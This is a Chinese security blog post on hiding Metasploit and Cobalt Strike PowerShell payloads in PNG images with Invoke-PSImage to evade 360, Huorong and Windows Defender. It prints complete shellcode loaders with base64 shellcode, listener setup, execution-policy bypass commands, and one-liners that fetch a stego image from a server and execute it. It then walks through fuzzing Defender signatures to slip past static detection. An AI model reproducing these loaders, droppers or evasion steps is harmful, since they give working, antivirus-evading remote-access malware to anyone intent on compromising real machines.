微信公众号:乌鸦安全
扫取二维码获取更多信息!
1. 前言
目前杀软比较厉害,如果直接运行exe的话,相对来说免杀难度大一点(但也不绝对),尤其是某些厂商,针对一些打包exe的工具进行无脑杀,所以这里和大家一起学习一种新的文件分离免杀方法。
这里面主要用到的是PNG图片的LSB隐写术,具体的方式可以参考
https://xz.aliyun.com/t/1882
简单总结下就是,shell被写到PNG的像素信息里面,再加载的时候,读取对应像素位的信息(当然,实现原理比这更复杂)
项目地址:https://github.com/peewpw/Invoke-PSImage
2. 准备环境
Windows server 2019
x64
: 运行powershell
,将木马写入图片中
Windows 10
x64
: 运行图片马
对应ip地址:10.211.55.3
反弹shell机器:Mac (安装了msf,这也可以选择kali)
对应ip地址:10.211.55.2
cs
上线机器:Mac
下的cs
对应ip地址:10.211.55.2
杀软:360
、火绒
、Windows Defender
、virustotal
(其实根据原理来讲,图片马可以过任何的杀软)
先将Invoke-PSImage
的代码下载到本地
3. msfvenom下msf上线方法
查看攻击机ip地址:
因为我本地使用了两个不同的虚拟机pd
和vm
,所以这里的ip显示很多,但是都可以用,这里就使用最常用的10.211.55.2
然后在本地运行msfvenom
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=4444 -f psh-reflection > msf-crow.ps1
此时的shell肯定是谁见谁杀
Windows Deferder:kill
但是360
没杀(这里使用的是360的云杀毒
)
火绒
也没杀
先看下文件内容:
function x_Dh {
Param ($tTXv, $geeTu)
$acCqN = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $acCqN.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($acCqN.GetMethod('GetModuleHandle')).Invoke($null, @($tTXv)))), $geeTu))
}
function p6kED {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $fE,
[Parameter(Position = 1)] [Type] $mk46 = [Void]
)
$eTIg = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$eTIg.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $fE).SetImplementationFlags('Runtime, Managed')
$eTIg.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $mk46, $fE).SetImplementationFlags('Runtime, Managed')
return $eTIg.CreateType()
}
[Byte[]]$lflQd = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUE0xyUgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS11IMdtTSb53aW5pbmV0AEFWSInhScfCTHcmB//VU1NIieFTWk0xwE0xyVNTSbo6VnmnAAAAAP/V6AwAAAAxMC4yMTEuNTUuMgBaSInBScfAXBEAAE0xyVNTagNTSbpXiZ/GAAAAAP/V6DcAAAAvcUhuRUgzTS1aZ1Z5ekhQT0VuOFh4QXNKOW5VMGgtdTlqX2VuTmR5MGxsOGRZU2lycGRTWXAASInBU1pBWE0xyVNIuAAyqIQAAAAAUFNTScfC61UuO//VSInGagpfSInxah9aUmiAMwAASYngagRBWUm6dUaehgAAAAD/1U0xwFNaSInxTTHJTTHJU1NJx8ItBhh7/9WFwHUfSMfBiBMAAEm6RPA14AAAAAD/1Uj/z3QC66roVQAAAFNZakBaSYnRweIQScfAABAAAEm6WKRT5QAAAAD/1UiTU1NIiedIifFIidpJx8AAIAAASYn5SboSloniAAAAAP/VSIPEIIXAdLJmiwdIAcOFwHXSWMNYagBZScfC8LWiVv/V")
$b1mh = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((x_Dh kernel32.dll VirtualAlloc), (p6kED @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $lflQd.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($lflQd, 0, $b1mh, $lflQd.length)
$qmq = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((x_Dh kernel32.dll CreateThread), (p6kED @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$b1mh,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((x_Dh kernel32.dll WaitForSingleObject), (p6kED @([IntPtr], [Int32]))).Invoke($qmq,0xffffffff) | Out-Null
既然此时不杀,那我们直接运行下试试看?
在mac上开启msf
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 10.211.55.2
set LPORT 4444
在360
环境下直接运行
PowerShell.exe -ExecutionPolicy Bypass -File .\msf-crow.ps1
这里是在cmd
命令行下执行PowerShell
命令的
-ExecutionPolicy Bypass
:绕过执行安全策略,在默认情况下,PowerShell
的安全策略规定了PowerShell
不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行PowerShel
l脚本时都要使用这个参数。
参考:
https://blog.csdn.net/Eastmount/article/details/115503946
然后
然后
然后就直接上线了。。。。
这也太尴尬了。。。
继续
同样的,在Windows server2019
中进行测试,这里使用杀软 火绒
(因为Windows Defender
直接kill
了脚本,所以在这里仅做这过静态杀软的测试)
开启监听:
直接运行PowerShell.exe -ExecutionPolicy Bypass -File .\msf-crow.ps1
上线正常
因此在此可以进行如下总结:
msfvenom
最新版(2021-05-28安装)生成powershell
攻击脚本在静态下的查杀效果:
火绒 | 360 | Windows Defender | |
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ❌ |
ps:以上环境都联网状态下
同样
msfvenom
最新版(2021-05-28安装)生成powershell
攻击脚本在动态执行上线的查杀效果:
火绒 | 360 | Windows Defender | |
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ❌ |
ps:以上环境都联网,且均在cmd
中执行-ExecutionPolicy Bypass
来绕过执行安全策略进行上线。
上传微步
评估:
https://s.threatbook.cn/report/file/f3b242243465981cf497226996f23bce241f2a5c3b71e9babb4c8262a32d7a65/?env=win10_1903_enx64_office2016
上传virustotal
评估:
https://www.virustotal.com/gui/file/f3b242243465981cf497226996f23bce241f2a5c3b71e9babb4c8262a32d7a65/detectio
但是但是,笔者在测试CS上线的时候发现360云查杀
报毒,而且是上传几分钟之后开始的,所以这里过了大概半小时左右重新进行了测试,结果发现
那再去试试火绒
火绒依旧没发现,不过样本被Windows Deferder
杀了
所以在这里重新更新下:
msfvenom
最新版(2021-05-28安装)生成powershell
攻击脚本在静态下的查杀效果:
火绒 | 360 | Windows Defender | |
windows 10 64位 | 未测 | ❌ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ❌ |
ps:以上环境都联网状态下,且360
属于主动联网云杀毒,并不是按位置扫描
同样
msfvenom
最新版(2021-05-28安装)生成powershell
攻击脚本在动态执行上线的查杀效果:
火绒 | 360 | Windows Defender | |
windows 10 64位 | 未测 | ❌ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ❌ |
ps:以上环境都联网,且均在cmd
中执行-ExecutionPolicy Bypass
来绕过执行安全策略进行上线。
所以,这里火绒容易被欺负。
4. Cobal Strike上线方法
这里为了安全,防止自己的vps被安全厂商标记,这里的Cobal Strike
服务端设置在本地,笔者Cobal Strike
版本为4.0
命令:sudo ./teamserver 10.211.55.2 50049
打开客户端,生成后门
文件内容如下:
Set-StrictMode -Version 2
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
If ([IntPtr]::size -eq 8) {
[Byte[]]$var_code = [System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCFWUaijqyMjI2um41dEayLzc6hrO2eoYwNqIvPAdWvc6mKoF6trIvVuEuprEuOPYuLqLmIi4hvDVtJvIG8HK2Ya8lb7e2eoYwdqIvNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieWugzwNicdzDe2J6eWuoMcps3Nzcfkkjap1USk1KTUZXI2J1aqrFb6rSYplvVAUk3PZrEuprEvFuEuNuEupic2JzYpkZdVqE3PbIUHlrquJimwIgIyNuEupicmJySSBicmKZdKq85dz2yHp4a6riaxLxaqr7bhLqcUsjIWOncXFimch2DRjc9muq5Wug4HNJKXxrqtJrqvlq5OPc3NzcbhLqcXFimQ4lO1jc9qbjLKa+IiMja9zsLKevIiMjyPDKxyIjI8uB3NzcDGBMdXYjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWpvZgIHawhrCSMWbAJzBiN2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLQExOU0JXSkFPRhgDbnBqZgMaDRMYA3RKTUdMVFADbXcDFQ0SGAN0bHQVFxgDd1FKR0ZNVwwWDRMYA21zExUKLikjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWpvZgIHawhrCSMWbAJzBmNic3gXf3N5exYXC3N9ChRgYAoUXgdmamBicQ5wd2JtZ2JxZw5ibXdqdWpxdnAOd2Zwdw5lam9mAgdrCGsJIxZsAnMGY2JzeBd/c3l7FhcLc30KFGBgChReB2ZqYGJxDnB3Ym1nYnFnDmJtd2p1anF2cA53ZnB3DmVqb2YCB2sIawkjFmwCcwZjYnMjYp3TloF13PZrEuqZIyNjI2KbIzMjI2KaYyMjI2KZe4dwxtz2a7BwcGuqxGuq0muq+WKbIwMjI2qq2mKZMbWqwdz2a6DnA6bjV5VFqCRrIuCm41b0e3t7ayYjIyMjc+DLvN7c3BITDRESEg0WFg0RIyMjIyM=')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
}
360查杀,正常
火绒查杀,报毒(这不一定是好事,这样攻击者可以通过fuzz的方式绕过)
Windows Defender查杀,刚复制过来就删掉了!
走到现在的只有360
了,那继续
PowerShell.exe -ExecutionPolicy Bypass -File .\payload.ps1
上线成功,甚至还执行了一个命令
但是
这里可以看到,上线之后就直接掉线了,last
时间不断增加,可能是由于杀软存在的原因,笔者在以前测试python免杀
的时候,也遇到这种情况,当时的方法是再执行一次刚刚的命令即可上线成功
但是,戏剧性的一幕来啦
此时360
开始杀毒,那如果将文件再次复制进行不执行,使用静态测试呢?
360
出手了,笔者怀疑应该是云查杀上传之后分析为木马病毒,也或者是执行的时候触碰了某个特征(只是笔者简单怀疑,不一定准确)。
而且据说,360
在虚拟机和实体机的表现好像有差异。
因此在此可以进行如下总结:
Cobal Strike 4.0
版本生成powershell
攻击脚本在静态下的查杀效果:
火绒 | 360 | Windows Defender | |
windows 10 64位 | 未测 | ❌ | 未测 |
windows server 2019 64位 | ❌ | 未测 | ❌ |
ps:以上环境都联网
状态下
同样
Cobal Strike 4.0
版本生成powershell
攻击脚本在动态执行上线的查杀效果:
火绒 | 360 | Windows Defender | |
windows 10 64位 | 未测 | ❌ | 未测 |
windows server 2019 64位 | ❌ | 未测 | ❌ |
ps:因为静态环境下全挂,所以动态就直接写结果
上传微步
评估:
https://s.threatbook.cn/report/file/130d331957f3fd881c4c4c472d6a5451556726e56efe943aa55bcd7f31fe5b9f/?env=win7_sp1_enx64_office2013
上传virustotal
评估:
https://www.virustotal.com/gui/file/130d331957f3fd881c4c4c472d6a5451556726e56efe943aa55bcd7f31fe5b9f/detection
总结下:这里CS4.0
生成的powershell
木马,全挂
5 RGB图片隐写术——msf上线
这里使用上面生成的两个Powershell木马文件,来做
这里需要先准备一张图:1.jpg
首先进行如下操作:
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
主要是防止生成木马期间报错
Import-Module .\Invoke-PSImage.ps1
导入Invoke-PSImage
文件,执行如下语句:
Invoke-PSImage -Script .\msf-crow.ps1 -Image .\1.jpg -Out msf-crow.png -Web > 1.txt
这里解释下:
-Script
为要转化为图片马的powershell
脚本,我这里是msf-crow.ps1
-Image
是一张正常的图片
—Out
生成的图片马,注意这里图片格式为PNG
——web
将读取的命令显示出来
>1.txt
将读取的命令放到1.txt
里面去,方便到时候修改复制(当然这个命令也可以不加,但是不加的话,不好复制)
注意:如果你这里使用type
键进行自动补全的时候,小心这里要加载的是 Invoke-PSImage
函数,而不是 Invoke-PSImage.ps1
脚本
这个生成的结果如下:
免杀图片马msf-crow.png
Web命令:
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/msf-crow.png"));$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..2979]))
这里的http://example.com/msf-crow.png
要将地址换成你的vps
这里我就在mac上开启一个HTTP
服务
python3 -m http.server 5555
这个ip地址就是10.211.55.2:5555
拼凑的命令如下:
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://10.211.55.2:5555/msf-crow.png"));$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..2979]))
msf开启监听模式:
然后在各种环境下进行静态查杀测试:
360
静态查杀,正常
火绒
查杀正常
windows defender
也正常,其实静态条件下,任何杀软都会显示正常(除非该图片的md5
值已经被杀软标记)
动态上线测试
360下直接在powershell
下运行
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://10.211.55.2:5555/msf-crow.png"));$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..2979]))
上线成功
火绒 + Windows Defender
下运行
无法执行成功
其实这里火绒
上线也会成功,只是这里没有进行测试。
此时将Windows 10上的360关闭,使用Windows Defender
来测试
上线失败
文件在微步在线评估:
https://s.threatbook.cn/report/file/9310faf03d4833b25d250c0783c6e65b1bcc34bc417cd6698f5cedb3d0b60e68/?env=win7_sp1_enx86_office2013
文件在virustotal
上的评估如下:
分析:
这里应该是可以绕过国内所有杀软,但是绕不过Windows Defender
,主要的原因不在于图片马,而在于powershell执行的一句话,我们将一句话上传到virustotal
来试试https://www.virustotal.com/gui/file/8e2c23626767de537d9bc1f02cd0c5e6bb7b72ea97f3fac4f08eeda3e531c29d/detection
这里进行总结:
图片马静态
火绒 | 360 | Windows Defender | |
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ✔️ |
ps:以上环境都联网状态下
同样
图片马在动态执行上线的查杀效果
火绒 | 360 | Windows Defender | |
windows 10 64位 | 未测 | ✔️ | ❌ |
windows server 2019 64位 | ✔️ | 未测 | ❌ |
之所以图片马在执行上线的时候被Windows Defender
拦截,应该是里面某些关键字被查杀,因此这里对该命令放到Windows Defender
里面进行查杀
文件被删除,那这里就需要绕过Windows df
了。
至于cs
,其实是一样的,在这里就不就行测试了。
6. 失败的ypass windows Defender
其实这种图片马可以直接上传本地进行测试,最好不要远程加载,笔者使用Invoke-PSImage
生成一个本地图片加载的木马来执行
Import-Module .\Invoke-PSImage.ps1
导入Invoke-PSImage
文件,执行如下语句:
Invoke-PSImage -Script .\msf-crow.ps1 -Image .\1.jpg -Out crow_local.png > 3.txt
3.txt
文件内容如下:
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\crow_local.png");$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..2979]))
在这里就先测试下360
和火绒
。
360下
:
mac下开启监听:
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\crow_local.png");$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..2979]))
360下
上线正常
火绒:
路径:
C:\Users\crow\Desktop\Invoke-PSImage-master
构造:
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\Users\crow\Desktop\Invoke-PSImage-master\crow_local.png");$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..2979]))
开启Windows Defender
,这里最好关闭自动提交样本
上线测试:
失败
这里将一句话整理为txt
文件,直接复制到Windows Defender
下
直接被杀
笔者将文件用;
进行换行,并将文件修改后复制到有Windows Defender
的操作系统里。
现在开始fuzz关键字:
关键字:
sal a New-Object;
此时正常。
关键字:
sal a New-Object;
Add-Type -A System.Drawing;
正常
关键字:
sal a New-Object;
Add-Type -A System.Drawing;
$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\2.png");
正常
关键字:
sal a New-Object;
Add-Type -A System.Drawing;
$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\2.png");
$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);
依旧正常
关键字:
sal a New-Object;
Add-Type -A System.Drawing;
$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\2.png");
$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);
$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};
它来了,被杀
也就是说
$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};
触发了wdf
的查杀
继续
测试最后一句话:
$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..2979]))
正常
那再测试下除了$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};
这句之外的其他:
sal a New-Object;
Add-Type -A System.Drawing;
$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\2.png");
$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);
$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..2979]))
正常
那在测试下单独的那句话
$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};
正常
分析到这发现,各种单独的一句话都是可以的,但是就不可以连在一起,那确定下哪一句不可以连在一起呢?
经过fuzz发现
$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);
$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};
不能连在一起,其他的情况都是允许他们单独存在的,那继续fuzz关键字,看下问题在哪
经过多次fuzz发现,
sal a New-Object;
Add-Type -A System.Drawing;
$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\2.png");
$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);
$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..2979]))
win df
将$o
纳入了黑名单策略(大概是这个位置)
这里进行替换,再上传
sal a New-Object;Add-Type -A System.Drawing;
$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\2.png");
$c=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);
$c[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};
$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($c[0..2979]))
没有报毒,但是被预警
执行,依旧被拦截
此时静态过了,但是动态依旧不行。
因为时间不足,后续有机会会对Windows Defender
进行单独测试。
7. 总结
在这次免杀测试中,Windows Defender
表现最强,360和火绒次之,笔者并没有对其他的国内杀软进行测试,但依照以往经验来看,国内杀软中(个人pc免费版)最强的应该是360,如果360被bypass,基本上其他杀软也就gg(当然,这里只是笔者单方面的愚蠢想法),但在实际中表现确实是这样的,另外360的云查杀很强。
在以往的前辈的实验中,笔者发现图片隐写法是可以绕过Windows Defender
的,而这次Windows Defender
没有绕过,只是绕过了静态查杀,而Invoke-Obfuscation
这个工具也可以多种条件下绕过Windows Defender
的静态查杀,而且在火绒
和360
下动态上线。后续的研究重点也会在地表最强之一的Windows Defender
上进行展开测试,绕过只是一个时间问题,敬请期待!
参考资料:
https://xz.aliyun.com/t/1882
https://www.yuque.com/swteam/sw/gcf9nd
微信公众号:乌鸦安全
扫取二维码获取更多信息!